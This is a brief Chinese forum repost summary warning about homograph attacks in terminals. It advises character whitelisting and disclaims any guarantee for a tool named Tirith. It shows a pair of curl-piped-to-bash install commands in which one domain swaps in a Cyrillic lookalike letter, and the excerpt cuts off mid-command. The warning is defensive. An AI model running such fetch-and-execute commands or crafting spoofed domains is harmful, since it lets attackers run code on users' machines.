【转载】警惕针对终端的同形异义字攻击

📌 📄 内容摘要: 注：仅为转载，不对文中提到的Tirith做任何安全保证，请自行确定安全性。建议对终端的字符设置白名单。仅凭肉眼，根本看不出下面两个curl命令的区别：curl-sSLhttps://install.example-cli.dev|bash#safecurl-sSLhttps://іnstall.example-cl

────────── 链接信息 ──────────
🔗 论坛链接: www.nodeseek.com
📎 访问地址: https://www.nodeseek.com/post-607569-1
─────────────────────────────

📢 来源：NODESEEK